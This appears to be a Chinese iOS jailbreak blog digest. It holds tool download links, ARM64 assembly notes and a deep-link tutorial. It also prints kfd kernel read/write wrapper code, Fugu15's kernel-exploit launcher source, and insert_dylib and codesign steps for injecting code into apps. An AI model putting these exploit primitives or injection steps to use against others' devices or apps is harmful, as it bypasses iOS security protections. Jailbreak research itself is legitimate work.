Download IPA Here

Misaka is available at no cost, you can install it through AltStore, Sideloadly or TrollStore

Screenshots

misaka

Installing TrollStore with misaka

Official Guide

ipa下载: https://github.com/straight-tamago/misaka

TrollStore2 安装指南 https://github.com/XLsn0w/TrollStore2

安装指南: 巨魔2代安装教程

巨魔2砸壳工具

下载: https://github.com/donato-fiore/TrollDecrypt/releases

巨魔状态栏修改网速神器

下载: https://github.com/leminlimez/Helium

TrollSpeed 状态栏网速显示

下载地址: https://github.com/Lessica/TrollSpeed

实现高版本watchOS绑定到低版本iOS

实现指南: 实现高版本watchOS绑定到低版本iOS教程

A8-A14 devices on iOS 14.0-14.3 越狱源代码

仓库地址: https://github.com/XLsn0w/Taurine-kfd-Jailbreak

Linus Henze 大神已经被 Apple 聘请了

之前 Linus Henze 大神提到过,如果苹果亲自邀请他,他必定会答应,这次真的来了,现在已经成功应聘上。

也就是说!未来的 Linus Henze 大神所挖掘的漏洞,都属于 Apple 官方的了,他不能私自公开。

根据我的了解得知,在安全研究实验室中,发现新的漏洞,都是属于团队的,不属于个人,自己是没权利公开。

#《生化危机:村庄》iOS 版本

《生化危机:村庄》定价 4990 日元(当前约 244 元人民币), 《生化危机:村庄》可免费下载,这是一款“先玩后买”App

不过卡普空宣布 10 月 30 日至 11 月 20 日期间立减 60%,折后 含税 1990 日元(当前约 97 元人民币)。

WinRa1n越狱工具电脑版

是由iKeystools团队开发的一款苹果iOS系统越狱工具。它的功能十分强大,

支持iOS 12.2 ~ 16.7直接越狱,支持iPhone 5s ~ X,完美支持Windows平台,免费下载。

【支持三种越狱模式】

  1、CheckM8 支持引导未签名的img4文件,说明白就是进入Pwndfu模式。新手用不上。

 2、Checkra1n 0.12.4 是我们熟知的checkra1n越狱,支持越狱iOS 12.2 ~ 14.8.1版本。

 3、Palera1n 2.0.0 beta7是iOS15 以上的越狱,可以越狱iOS 15.0 ~ 16.6.1的A8X ~ A11处理器。

 

iOS kfd漏洞 源代码

//
//  krw.m
//  kfd
//
//  Created by Seo Hyun-gyu on 2023/08/10.
//

#import <Foundation/Foundation.h>
#include "KernelRwWrapper.h"
#import "libkfd.h"

static uint64_t _kfd = 0;
static uint64_t _self_task = 0;
static uint64_t _self_proc = 0;
static uint64_t _kslide = 0;

static uint64_t kread64(uint64_t where) {
    uint64_t out;
    kread_(_kfd, where, &out, sizeof(uint64_t));
    return out;
}

static void kwrite64(uint64_t where, uint64_t what) {
    u64 _buf[1] = {};
    _buf[0] = what;
    kwrite_((u64)(_kfd), &_buf, where, sizeof(u64));
}

static uint64_t get_selftask(void) {
    return _self_task;
}

static uint64_t get_selfproc(void) {
    return _self_proc;
}

static uint64_t get_kslide(void) {
    return _kslide;
}

static void set_selftask(void) {
    _self_task = ((struct kfd*)_kfd)->info.kernel.current_task;
}

static void set_selfproc(void) {
    _self_proc = ((struct kfd*)_kfd)->info.kernel.current_proc;
}

static void set_kslide(void) {
    _kslide = ((struct kfd*)_kfd)->info.kernel.kernel_slide;
}

static void do_kclose(void)
{
    kclose(_kfd);
}

uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method)
{
    _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method);//kopen_intermediate(puaf_pages, puaf_method, kread_method, kwrite_method);
    set_selfproc();
    set_selftask();
    set_kslide();
    our_proc_kAddr = get_selfproc();
    usleep(10000);
    initKernRw(get_selftask(), kread64, kwrite64);
    printf("isKernRwReady: %d\n", isKernRwReady());
    if(isKernRwReady()) {
        usleep(10000);
        do_kclose();
    }
    return _kfd;
}

static void do_kread(uint64_t kaddr, void* uaddr, uint64_t size)
{
    kread_(_kfd, kaddr, uaddr, size);
}

static void do_kwrite(void* uaddr, uint64_t kaddr, uint64_t size)
{
    kwrite_(_kfd, uaddr, kaddr, size);
}

static uint64_t get_kernproc(void) {
    return ((struct kfd*)_kfd)->info.kernel.kernel_proc;
}

static uint8_t kread8(uint64_t where) {
    uint8_t out;
    kread_(_kfd, where, &out, sizeof(uint8_t));
    return out;
}
static uint32_t kread16(uint64_t where) {
    uint16_t out;
    kread_(_kfd, where, &out, sizeof(uint16_t));
    return out;
}
static uint32_t kread32(uint64_t where) {
    uint32_t out;
    kread_(_kfd, where, &out, sizeof(uint32_t));
    return out;
}

static void kwrite8(uint64_t where, uint8_t what) {
    uint8_t _buf[8] = {};
    _buf[0] = what;
    _buf[1] = kread8(where+1);
    _buf[2] = kread8(where+2);
    _buf[3] = kread8(where+3);
    _buf[4] = kread8(where+4);
    _buf[5] = kread8(where+5);
    _buf[6] = kread8(where+6);
    _buf[7] = kread8(where+7);
    kwrite_((u64)(_kfd), &_buf, where, sizeof(u64));
}

static void kwrite16(uint64_t where, uint16_t what) {
    u16 _buf[4] = {};
    _buf[0] = what;
    _buf[1] = kread16(where+2);
    _buf[2] = kread16(where+4);
    _buf[3] = kread16(where+6);
    kwrite_((u64)(_kfd), &_buf, where, sizeof(u64));
}

static void kwrite32(uint64_t where, uint32_t what) {
    u32 _buf[2] = {};
    _buf[0] = what;
    _buf[1] = kread32(where+4);
    kwrite_((u64)(_kfd), &_buf, where, sizeof(u64));
}

static void kreadbuf(uint64_t kaddr, void* output, size_t size)
{
    uint64_t endAddr = kaddr + size;
    uint32_t outputOffset = 0;
    unsigned char* outputBytes = (unsigned char*)output;
    
    for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4)
    {
        uint32_t k = kread32(curAddr);

        unsigned char* kb = (unsigned char*)&k;
        for(int i = 0; i < 4; i++)
        {
            if(outputOffset == size) break;
            outputBytes[outputOffset] = kb[i];
            outputOffset++;
        }
        if(outputOffset == size) break;
    }
}


iOS或iPadOS 15.0-15.1.1的A12-A15芯片设备 XinaA15越狱工具

这是xina520越狱(临时)的官方下载网站 https://discord.gg/vFpnTUSD4H

工具下载: xina520越狱下载

iOS APP运行 编译过程及库

在分析app启动之前,我们需要先了解iOSapp代码的编译过程以及动态库和静态库。

其中编译过程如下图所示,主要分为以下几步:

源文件:载入.h、.m、.cpp等文件

预处理:替换宏,删除注释,展开头文件,产生.i文件

编译:将.i文件转换为汇编语言,产生.s文件

汇编:将汇编文件转换为机器码文件,产生.o文件

链接:对.o文件中引用其他库的地方进行引用,生成最后的可执行文件

dyld加载流程分析 根据dyld源码,以及libobjc、libSystem、libdispatch源码协同分析

什么是dyld?

dyld(the dynamic link editor)是苹果的动态链接器,是苹果操作系统的重要组成部分, 在app被编译打包成可执行文件格式的Mach-O文件后,交由dyld负责连接,加载程序

========| 微信公众号Cydiapps |========

========| XLsn0w博客文章 |========

iOS重签名.dylib动态库

1)让可执行文件链接动态库

可执行文件是不会主动启用自定义动态库,所以需要注入.dylib

insert_dylib @executable_path/[动态库名称] [可执行文件名称] --all-yes --weak [新可执行文件名称]

insert_dylib :动态库加载路径

--all-yes:后面所有的选择都为yes

--weak:即使动态库找不到也不会报错

insert_dylib的本质是往Mach-O文件的Load Commands中

添加了一个LC_LOAD_DYLIB活LC_LOAD_WEAK_DYLIB。

可以通过otool查看Mach-O的动态库依赖信息

otool -L Mach-O文件

2)修改CydiaSubstrate文件路径

查看动态库(ResignTweak.dylib)的依赖库

可以看到ResignTweak.dylib依赖的CydiaSubstrate路径为/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate。

修改CydiaSubstrate路径

因CydiaSubstrate路径变更,所以需要对它进行修改。

install_name_tool -change [原路径] @loader_path/CydiaSubstrate [动态库名称]

再次执行otool -L ResignTweak.dylib查看,可以看出CydiaSubstrate路径已经修改了。

3)对动态库和CydiaSubstrate文件重签名

codesign -fs [证书id] [文件名称]

4)对APP包重签名并安装验证

ra1ncloud Fugu15 不完美越狱工具

https://github.com/iarchiveml/ra1ncloud

iOS巨魔盒子

iOS巨魔盒子下载: https://share.weiyun.com/VdSYtnBm 就个人而言,我喜欢将所有内容整合在一起的应用程序的想法。这意味着我的主屏幕上的混乱更少,并且在单个应用程序中发生更多事情。

请注意,TrollBox仅适用于TrollStore,因此它仅支持支持TrollStore(越狱与否)的设备,即运行iOS或iPadOS 14.0-15.4.1(以及一些15.5测试版)的设备。

RootHide Dopamine Jailbreak 屏蔽越狱检测 越狱工具

下载: https://github.com/RootHide/Dopamine-roothide RootHide is a completely hidden rootless jailbreak solution without to inject/modify/patch/hook apps.

This project is the RootHide implementation based on Dopamine Jailbreak.

AppsManager从备份恢复应用Pro会员教程 --->使用教程

ESign轻松签+iOS安装教程 --->安装教程

永久签名工具版【轻松签+】,和巨魔支持的范围一样, 支持 iOS 14.0 - iOS 15.4.1 以及 iOS 15.5 Beta 1 - Beta 4 系统, 支持 A12 - A15 设备(即包括iPhone13pm以下设备)。 意味着最高 iPhone13 Pro Max (15.5B4以下系统)可以摆脱证书限制

iOS巨魔商店有可能更新V2.0 目前开发者证实漏洞存在 但安装方式还需要研究

iOS巨魔商店

TrollStore版本1.5.0 更新功能:

–加高深设置选项卡,其中包含在已安装和自定义卸载方法 之间切换的功能 - 将Idid更新与TrollStore更新分开;最新的 Idid 更新解决了 TrollStore 以前需要破解解决方法的错误,并且该解决方法现已删除 – 如果尚未安装或安装的版本太过时,Idid 现在将在启动 TrollStore 时自动安装和/或更新,无法正确 使用它 – 修复了卸载某些应用程序会失败 的问题 – 自动使重新加载图标缓存按钮修复了一个股票 iOS 问题,其中臃肿的图标缓存可能导致应用程序安装和更新导致严重的系统范围滞后峰值 – 修复了应用程序插件的组容器可能被错误注册 的错误 – 切换到 TrollStore 自己的 CoreTrust 证书,以支持以前值得做得不好的证书

边店SideStore自签名IPA工具

软件官网下载: https://sidestore.io/

simctl Xcode模拟器命令行管理工具

simctl类似于安卓的adb命令非常相似。

虽然苹果官方文档没有对它进行任何说明。但是我们可以通过Applications/Xcode.app/Contents/Developer/usr/bin/simctl路径找到它。

由于是XCode内置的命令,所以在使用的时候要在该命令前面加上xcrun。我们可以通过以下命令来查看该命令所有的功能选项。

Xcode15 官网下载 iOS_17_Simulator_Runtime.dmg 后 手动添加模拟器SDK

sudo xcode-select -s /Applications/Xcode.app
Password:
h3lix@i0smX ~ % xcodebuild -runFirstLaunch
h3lix@i0smX ~ % xcrun simctl runtime add "/Users/h3lix/Downloads/iOS_17.0.1_Simulator_Runtime.dmg"
D: 432C1CED-ADBC-45F7-A7C8-A3A8FF031397 iOS (17.0.1 - 21A342) (Ready)

iOS汇编概述

使用助记符代替机器指令的一种编程语言

汇编和机器指令是一一对应的关系,拿到二进制就可以反汇编

由于汇编和CPU的指令集是对应的,所以汇编不具备移植性

2、总线:是由一堆导线的集合

地址总线:其宽度决定了寻址能力

数据总线:其宽度决定了CPU数据的吞吐量

控制总线:其宽度决定了CPU对其他器件的控制能力

3、进制

任意进制都是由对应个数的符号组成的,符号可以自定义

2/8/16是相对完美的进制,他们之间的关系

3个二进制 使用一个8进制标识

4个二进制 使用一个16进制标识

两个16进制可以标识一个字节,即8位

数量单位

1024 = 1k,1024k = 1M,1024M = 1G

容量单位

1024 = 1KB,1024KB = 1MB,1024MB = 1GB

数据的宽度

计算机中的数据是有宽度的,超过了就会溢出

4、寄存器:CPU为了性能,自内部开辟了一小块临时存储区域

浮点向量寄存器:用于浮点数/向量的存储及运算

异常状态寄存器

通用寄存器:除了存放数据有时也有特殊的用途

ARM64拥有32个64位的通用寄存器X0-X30以及XZR(零寄存器)

为了兼容32位,所以arm64位拥有W0-W28以及WZR 30个32位寄存器

32位寄存器并不是独立存在的,例如 W0是X0的低32位

PC寄存器:指令指针寄存器

PC寄存器里面的值保存的就是CPU接下来需要执行的指令地址

改变PC的值可以改变程序的执行流程

mov指令不能更改PC寄存器的值,需要通过bl跳转指令来改变PC寄存器的值

函数本质(重点掌握!!!!!)

1、栈:是一种具有特殊的访问方式的存储空间(后进先出,Last in First out, LIFO)

ARM64里面对栈的操作是16字节对齐的

2、SP和FP寄存器

SP寄存器在任意时刻会保存栈顶的地址 FP寄存器也称为x29寄存器,属于通用寄存器,但是在某些时刻利用它保存栈底的地址

3、栈的读写指令

读:ldr(load register)指令 LDR、LDP

写:str(store register)指令 STR、STP

4、bl指令

跳转指令:bl 标号,表示程序执行到标号处,将下一条指令的地址保存到lr寄存器

B代表着跳转

L表示lr(x30)寄存ios_reverse_02器

5、ret指令

类似函数的return 让CPU执行lr寄存器所指向的指令

6、避免嵌套函数无法回去:需要保护bl(即lr寄存器,存放回家的路),保存在当前函数自己的栈空间

7、函数参数

arm64中,参数是放在x0-x7的8个寄存器中

如果是浮点数,就会用浮点数寄存器

如果超过8个参数就会用栈传递

8、函数返回值

一般函数的返回值使用x0寄存器保存

如果返回值大于了8个字节(x0寄存器大小是8个字节),就会利用内存传递返回值

9、函数局部变量

局部变量存储在栈空间

10、函数的嵌套调用:会将x29、x30寄存器入栈保护

11、状态(标志)寄存器 - CPSR

arm64中cpsr寄存器(32位)为状态寄存器

最高4位(28、29、30、31)为标志位

N标志(负标记位)

执行结果为负数N=1

执行结果非负数N=0

Z标志(0标记位)

结果为0则Z=1

结果非0则Z=0

C标志(无符号溢出)

加法:进位 C=1,否则C=0

减法:借位 C=0,否则C=1

V标志(有符号溢出)

正数+正数=负数,则V=1

正数+负数=正数,则V=0

循环选择指令(需要多实际操作) 1、全局变量和常量

获取全局变量和常量时,会出现adrp和add两条指令获得一个地址的情况

ADRP(Address Page)

adrp x0,1

将PC寄存器的低12位清零

将1的值,左移12位

以上两个结果相加放入x0寄存器

通过ADD指令获取这页内存中的偏移值

2、条件判断

CMP把一个寄存器的内容和另一个寄存器的内容或立即数进行比较,但不存储结果,只是正确的更改标志(CMP后面跟的是B.LE,即else的条件) 一般CMP做完判断后会进行跳转,后面通常会跟上B指令

BL 标号:跳转到标号处执行

B.LT 标号:比较结果是小于(less than ),执行标号,否则不跳转

B.LE 标号:比较结果是小于等于(less than or equal to),执行标号,否则不跳转

B.GT 标号:比较结果是大于(greater than),执行标号,否则不跳转

B.GE 标号:比较结果是大于等于(greater than or equal to),执行标号,否则不跳转

B.EQ 标号:比较结果是等于,执行标号,否则不跳转

B.NE 标号:比较结果是不等于(not equal),执行标号,否则不跳转

B.HI 标号:比较结果是无符号大于,执行标号,否则不跳转

B.HS 标号:比较结果是无符号大于等于,执行标号,否则不跳转

3、循环

do-while循环:判断条件在后面,满足条件往外跳

for循环和while循环很像:判断条件在里面,不满足就往外跳

4、switch

1、假设switch语句的分支比较少时(例如3,少于4的时候没有意义),没有必要使用次结构,相当于if-else

2、各个分支常量的差值较大时,编译器会在效率还是内存进行取舍,这时编译器还是会编译成类似于if-else的结构

3、在分支比较多的时候,在编译的时候会生成一个表(跳转表每个地址四个字节)。

OC反汇编(需要多实际操作)

1、编译器优化:

1、设置:BuildSetting->Optimization Level

2、优化原则:对结果没有任何影响的代码会被编译器优化

3、编译器优化,本质是LLVM的优化过程,实际上优化的是汇编代码(可以理解为汇编指令会减少)

2、指针:

1、指针的自增自减和指向的数据类型宽度有关,是按照指向的数据类型来运算的(即指针的宽度 - 步长)

2、指针的运算单位是指向的数据类型的宽度

3、指针可以通过if-else比大小,因为类型是可以相互转换的

3、[[self alloc] init] 优化过程

在最初的版本(iOS9)中,相当于两次消息发送 objc_msgSend

iOS11版本 是一次消息发送 objc_alloc + objc_msgSend

iOS13.5.1以上版本,已经没有objc_msgSend,而是objc_alloc_init

4、反汇编分析方式:

通过LLDB动态调试

Fugu15 不过期 iOS15.4越狱教程

1.用手机Safari浏览器打开下面链接,下载Fugu15越狱安装包

2.找到IPA文件,选项共享,选择巨魔TrollStore打开进行安装

下载ipa包: https://share.weiyun.com/WiBhQ7aP

BlizzardBoard

BlizzardBoard支持越狱和非越狱iOS设备,通过TrollStore安装, 对主屏应用程序图标进行主题修改。

iOS 15.4.1 Fugu15越狱

https://xlsn0w.github.io/jekyll/2022/08/30/XLsn0w/

Linus Henze开源 Fugu15越狱代码

我的博客  https://xlsn0w.github.io/

10月初,Linus Henze 展示了他在运行 iOS15.4.1的 iPhone 上的 Fugu15越狱,他用一种巧妙的新安装方法让我们想起了 JailbreakMe 的日子。

现在,它已经正式发布,并在 Henze 的 GitHub 页面上开源。

https://github.com/pinauten/Fugu15

现在 TrollStore 正式支持 Fugu15越狱应用程序,这意味着用户可以使用 TrollStore 在他们兼容的设备上加载和永久签署 Fugu15越狱应用程序。

以前,用户需要用自己的域名安装一个基于 web 的安装程序,或者将他们的设备连接到 Mac 上,用 Xcode 安装 Fugu15。

公众号Cydiapps 已经发文详细讲解Fugu15

(^o^)/~

h5打开App方法

最常见的就是抖音里面的一些广告,如果你点击了广告,他判断你手机装了对应APP,那他就会去打开那个APP, 如果没安装,他会帮你跳转到应用商店去下载,这个还算人性化一点的,有些直接后台给你去下载,你完全无感知, 流氓技术点。

哈哈,是不是觉得这种技术很神奇,今天我们就一起来看看它是如何实现的~

唤端技术 体验过后,我们就来聊一聊它的实现技术是怎样的,唤端技术我们也称之为deep link技术。当然,不同平台的实现方式有些不同,一般常见的有这几种,分别是:

URL Scheme(通用)
Universal Link (iOS)
App Link、Chrome Intents(android)

URL Scheme(通用)这种方式是一种比较通用的技术,各平台的兼容性也很好,它一般由协议名、路径、参数组成。这个一般是由Native开发的同学提供,我们前端同学再拿到这个scheme之后,就可以用来打开APP或APP内的某个页面了。

URL Scheme 组成 [scheme:][//authority][path][?query][#fragment] 常用APP的 URL Scheme APP 微信 支付宝 淘宝 QQ 知乎 URL Scheme weixin:// alipay:// taobao:// mqq:// zhihu:// 打开方式 常用的有以下这几种方式

直接通过window.location.href跳转 window.location.href = 'zhihu://' 通过iframe跳转 const iframe = document.createElement('iframe') iframe.style.display = 'none' iframe.src = 'zhihu://' document.body.appendChild(iframe) 直接使用a标签进行跳转 通过js bridge来打开 window.miduBridge.call('openAppByRouter', {url: 'zhihu://'}) 判断是否成功唤起 当用户唤起APP失败时,我们希望可以引导用户去进行下载。那么我们怎么才能知道当前APP是否成功唤起呢?

我们可以监听当前页面的visibilitychange事件,如果页面隐藏,则表示唤端成功,否则唤端失败,跳转到应用商店。

OK,我们尝试来实现一下:

首先我手机上并没有安装腾讯微博,所以也就无法唤起,我们让他跳到应用商店对应的应用下载页,这里就用淘宝的下载页来代替一下~

.open_app_title { font-size: (20/@rem); } .open_btn{ margin-top:(20/@rem); padding:(10/@rem) 0; border-radius: (8/@rem); background: salmon; color: #fff; font-size: (16/@rem); }

8.open_weibo.gif

适用性 URL Scheme 这种方式兼容性好,无论安卓或者 iOS 都能支持,是目前最常用的方式。从上图我们能够看出它也有一些比较明显的缺点:

无法准确判断是否唤起成功,因为本质上这种方式就是打开一个链接,并且还不是普通的 http 链接,所以如果用户没有安装对应的 APP,那么尝试跳转后在浏览器中会没有任何反应,通过定时器来引导用户跳到应用商店,但这个定时器的时间又没有准确值,不同手机的唤端时间也不同,我们只能大概的估计一下它的时间来实现,一般设为3000ms左右比较合适; 从上图中我们可以看到会有一个弹窗提示你是否在对应 APP中打开,这就可能会导致用户流失; 有 URL Scheme 劫持风险,比如有一个 app 也向系统注册了 zhihu:// 这个 scheme ,唤起流量可能就会被劫持到这个 app 里; 容易被屏蔽,app 很轻松就可以拦截掉通过 URL Scheme 发起的跳转,比如微信内经常能看到一些被屏蔽的现象。 Universal Link (iOS) Universal Link 是在iOS 9中新增的功能,使用它可以直接通过https协议的链接来打开 APP。 它相比前一种URL Scheme的优点在于它是使用https协议,所以如果没有唤端成功,那么就会直接打开这个网页,不再需要判断是否唤起成功了。并且使用 Universal Link,不会再弹出是否打开的弹出,对用户来说,唤端的效率更高了。

原理 在 APP 中注册自己要支持的域名; 在自己域名的根目录下配置一个 apple-app-site-association 文件即可。(具体的配置前端同学不用关注,只需与iOS同学确认好支持的域名即可) 打开方式 openByUniversal () { // 打开知乎问题页 window.location.href = 'https://oia.zhihu.com/questions/64966868' // oia.zhihu.com }, 9.open_zhihu.gif

适用性 相对 URL Scheme,universal links 有一个较大优点是它唤端时没有弹窗提示是否打开,提升用户体验,可以减少一部分用户流失; 无需关心用户是否安装对应的APP,对于没有安装的用户,点击链接就会直接打开对应的页面,因为它也是http协议的路径,这样也能一定程度解决 URL Scheme 无法准确判断唤端失败的问题; 只能够在iOS上使用 只能由用户主动触发 App Link、Chrome Intents(Android) App Link 在2015年的Google I/O大会上,Android M宣布了一个新特性:App Links让用户在点击一个普通web链接的时候可以打开指定APP的指定页面,前提是这个APP已经安装并且经过了验证,否则会显示一个打开确认选项的弹出框,只支持Android M以上系统。

App Links的最大的作用,就是可以避免从页面唤醒App时出现的选择浏览器选项框;

前提是必须注册相应的Scheme,就可以实现直接打开关联的App。

App links在国内的支持还不够,部分安卓浏览器并不支持跳转至App,而是直接在浏览器上打开对应页面。 系统询问是否打开对应App时,假如用户选择“取消”并且选中了“记住此操作”,那么用户以后就无法再跳转App。 Chrome Intents Chrome Intent 是 Android 设备上 Chrome 浏览器中 URI 方案的深层链接替代品。 如果 APP 已安装,则通过配置的 URI SCHEME 打开 APP。 如果 APP 未安装,配置了 fallback url 的跳转 fallback url,没有配置的则跳转应用市场。 这两种方案在国内的应用都比较少。

方案对比 URL Scheme Universal Link App Link <ios9 支持 不支持 不支持

=ios9 支持 支持 不支持 <android6 支持 不支持 不支持 =android6 支持 不支持 支持 是否需要HTTPS 不需要 需要 需要 是否需要客户端 需要 需要 需要 无对应APP时的现象 报错/无反应 跳到对应的页面 跳到对应的页面 URI Scheme

URI Scheme的兼容性是最高,但使用体验相对较差: 当要被唤起的APP没有安装时,这个链接就会出错,页面无反应。 当注册有多个scheme相同的时候,没有办法区分。 不支持从其他app中的UIWebView中跳转到目标APP, 所以ios和android都出现了自己的独有解决方案。 Universal Link

已经安装APP,直接唤起APP;APP没有安装,就会跳去对应的web link。 universal Link 是从服务器上查询是哪个APP需要被打开,所以不会存在冲突问题 universal Link 支持从其他app中的UIWebView中跳转到目标app 缺点在于会记住用户的选择:在用户点击了Universal link之后,iOS会去检测用户最近一次是选择了直接打开app还是打开网站。一旦用户点击了这个选项,他就会通过safiri打开你的网站。并且在之后的操作中,默认一直延续这个选择,除非用户从你的webpage上通过点击Smart App Banner上的OPEN按钮来打开。 App link

优点与 universal Link 类似 缺点在于国内的支持相对较差,在有的浏览器或者手机ROM中并不能链接至APP,而是在浏览器中打开了对应的链接。 在询问是否用APP打开对应的链接时,如果选择了“取消”并且“记住选择”被勾上,那么下次你再次想链接至APP时就不会有任何反应

源代码

//
//  Fugu15.swift
//  Fugu15KernelExploit
//
//  Created by Linus Henze.
//

import Foundation
import ProcessCommunication
import CBindings
import KernelPatchfinder

public enum Fugu15LaunchError: Error {
    case deviceNotSupported(reason: String)
    case posix_spawnFailed(result: Int32, errno: Int32)
    case noPongReceived
    case kexploitdFailed
    case canOnlyLaunchiDownloadAfterExploitRan
    case iDownloadLaunchFailed(reply: [String])
}

public enum Fugu15SupportsThisDevice {
    case yes
    case no(reason: String)
}

public struct Fugu15 {
    public static var comm: ProcessCommunication?
    public static var patchfinder = KernelPatchfinder.running
    
    static var kernelBase: UInt64 = 0
    static var kernelSlide: UInt64 = 0
    
    // Lock for requests to pciPwn
    static let requestLock     = NSLock()

    // Lock to notify exception handler to continue
    static let sendRequestLock = NSLock()

    // Lock to notify requestor to continue
    static let replyLock       = NSLock()

    // Request
    static var request:        UInt64 = 0
    static var requestAddrPid: UInt64 = 0
    static var requestSize:    UInt64 = 0
    static var requestBuf:     Data?

    // Reply
    static var replyStatus: UInt64 = 0
    static var replyResult: UInt64 = 0
    static var replyBuf:    Data?
    
    public static func supportsThisDevice() -> Fugu15SupportsThisDevice {
        // Test iOS version
        let osVersion = ProcessInfo.processInfo.operatingSystemVersion
        guard osVersion.majorVersion == 15,
              osVersion.minorVersion < 5 else {
            return .no(reason: "Fugu15 only supports iOS 15 - 15.4.1!")
        }
        
        // The exploits should support some 15.5 betas
        // Not implemented though
        /*if osVersion.minorVersion == 5 {
            var size = 1024
            let ptr  = UnsafeMutablePointer<UInt8>.allocate(capacity: size + 1)
            defer { ptr.deallocate() }
            
            let res = sysctlbyname("kern.osversion", ptr, &size, nil, 0)
            guard res == 0 else {
                return .no(reason: "Fugu15 failed to determine your OS version!")
            }
            
            ptr[size] = 0 // Ensure that the string is terminated
            
            let vStr = String(cString: ptr)
            
            let supported = ["19A5261w", "19A5281h", "19A5281j", "19A5297e"] // No idea if this is correct
            guard supported.contains(vStr) else {
                return .no(reason: "Fugu15 only supports iOS 15 - 15.4.1 (and some 15.5 betas)!")
            }
        }*/
        
        // Ensure device supports pointer authentication
        guard deviceSupports(cpuFeature: "PAuth") else {
            return .no(reason: "Fugu15 only supports PAC devices (iPhone XS and newer)!")
        }
        
        return .yes
    }
    
    public static func querySysctlBool(name: String) -> Bool {
        var size = 8
        let ptr  = UnsafeMutablePointer<UInt8>.allocate(capacity: size)
        defer { ptr.deallocate() }
        
        let res = sysctlbyname(name, ptr, &size, nil, 0)
        guard res == 0 else {
            return false
        }
        
        return ptr[0] != 0
    }
    
    public static func deviceSupports(cpuFeature: String) -> Bool {
        return querySysctlBool(name: "hw.optional.arm.FEAT_\(cpuFeature)")
    }
    
    /**
     * Launch kernel exploit. Requires path to oobPCI.
     *
     * - Parameter oobPCI: Path to the oobPCI executable
     * - Parameter logger: A function to log messages
     *
     * - Warning: This function blocks, do not call it on the main dispatch queue
     */
    public static func launchKernelExploit(oobPCI: URL, logger: @escaping (_ msg: String) -> Void) throws {
        switch supportsThisDevice() {
        case .yes:
            break
            
        case .no(reason: let reason):
            throw Fugu15LaunchError.deviceNotSupported(reason: reason)
        }
        
        // Create pipes to use for communication
        // We use control and log pipes
        let controlToChild = Pipe()
        let controlFromChild = Pipe()
        let logFromChild = Pipe()
        
        // We're entitled to do that ;)
        var attr: posix_spawnattr_t?
        posix_spawnattr_init(&attr)
        posix_spawnattr_set_persona_np(&attr, 99, 1)
        posix_spawnattr_set_persona_uid_np(&attr, 0)
        posix_spawnattr_set_persona_gid_np(&attr, 0)
        
        // Close unnecessary handles
        var fileActions: posix_spawn_file_actions_t?
        posix_spawn_file_actions_init(&fileActions)
        posix_spawn_file_actions_addclose(&fileActions, controlToChild.fileHandleForWriting.fileDescriptor)
        posix_spawn_file_actions_addclose(&fileActions, controlFromChild.fileHandleForReading.fileDescriptor)
        posix_spawn_file_actions_addclose(&fileActions, logFromChild.fileHandleForReading.fileDescriptor)
        
        var pid: pid_t = 0
        var argv: [UnsafeMutablePointer<CChar>?] = [
            strdup(CommandLine.arguments[0]),
            strdup("Fugu15_server"),
            strdup("\(controlToChild.fileHandleForReading.fileDescriptor)"),
            strdup("\(controlFromChild.fileHandleForWriting.fileDescriptor)"),
            strdup("\(logFromChild.fileHandleForWriting.fileDescriptor)"),
            nil
        ]
        
        defer {
            for arg in argv {
                free(arg)
            }
        }
        
        let result = posix_spawn(&pid, argv[0], &fileActions, &attr, &argv, environ)
        let err = errno
        guard result == 0 else {
            throw Fugu15LaunchError.posix_spawnFailed(result: result, errno: err)
        }
        
        try? controlToChild.fileHandleForReading.close()
        try? controlFromChild.fileHandleForWriting.close()
        try? logFromChild.fileHandleForWriting.close()
        
        DispatchQueue(label: "Fugu15-Logging").async {
            var buf = ""
            while true {
                do {
                    let data = try logFromChild.fileHandleForReading.read(upToCount: 1)
                    if data == nil || data?.count == 0 {
                        return
                    }
                    
                    if data.unsafelyUnwrapped[0] == 0xA /* newline */ {
                        logger(buf)
                        buf = ""
                    } else {
                        buf += String(data: data.unsafelyUnwrapped, encoding: .utf8) ?? ""
                    }
                } catch _ {
                    return
                }
            }
        }
        
        // Send ping
        let comm = ProcessCommunication(read: controlFromChild.fileHandleForReading, write: controlToChild.fileHandleForWriting)
        comm.sendCommand("ping")
        
        guard comm.receiveCommand() == ["pong"] else {
            throw Fugu15LaunchError.noPongReceived
        }
        
        comm.sendCommand("pwn", oobPCI.path)
        
        if comm.receiveCommand() != ["ok"] {
            throw Fugu15LaunchError.kexploitdFailed
        }
        
        comm.sendCommand("waitUntilDone")
        if comm.receiveCommand() != ["done"] {
            throw Fugu15LaunchError.kexploitdFailed
        }
        
        Self.comm = comm
    }
    
    public static func launch_iDownload() throws {
        guard let comm = Self.comm else {
            throw Fugu15LaunchError.canOnlyLaunchiDownloadAfterExploitRan
        }
        
        comm.sendCommand("launch_iDownload")
        let reply = comm.receiveCommand()
        if reply != ["done"] {
            throw Fugu15LaunchError.iDownloadLaunchFailed(reply: reply ?? [])
        }
    }
    
    /**
     * Call this method from your main function. Only returns if invoked without a Fugu15 command.
     */
    public static func mainHook() {
        if CommandLine.arguments.count > 1 {
            switch CommandLine.arguments[1] {
            case "Fugu15_server":
                let logOut = FileHandle(fileDescriptor: Int32(CommandLine.arguments[4])!, closeOnDealloc: true)
                Logger.logFileHandle = logOut
                
                guard let checkin = getDKCheckinData() else {
                    execv(Bundle.main.executablePath, CommandLine.unsafeArgv)
                    Logger.print("Failed to re-exec myself after failing DK checkin!")
                    fatalError("Failed to re-exec myself after failing DK checkin!")
                }
                
                serverMain(checkin: checkin)
            
            default:
                break
            }
        }
    }
}

iOS 15 运行插件适配表 Tweaks

在iOS 15中有多种方法可以获得微调注入。最值得注意的是,它有一个被拴住的越狱。因为我们还没有一个合适的无根的微调注入器,所以到目前为止我们还不能使用半栓式或半栓式越狱。

我们可以做的是通过使用开发内核来绑定设备,使用odysseyra1n进行引导,安装sub 2.3.1,然后重命名快照,以便它在重新引导时不会恢复。在iOS 15和强制密封中,这将在技术上砖化设备。但是,在checkm8设备上,我们仍然可以将它拴在一起引导(如果我们想要恢复和取消拴在一起,还可以将快照重命名回去)。

注入到应用中的调整只有在以下情况下才会生效:沙盒被破坏,或应用具有无沙盒授权。

NameCompatibleIssueDescriptionRepo
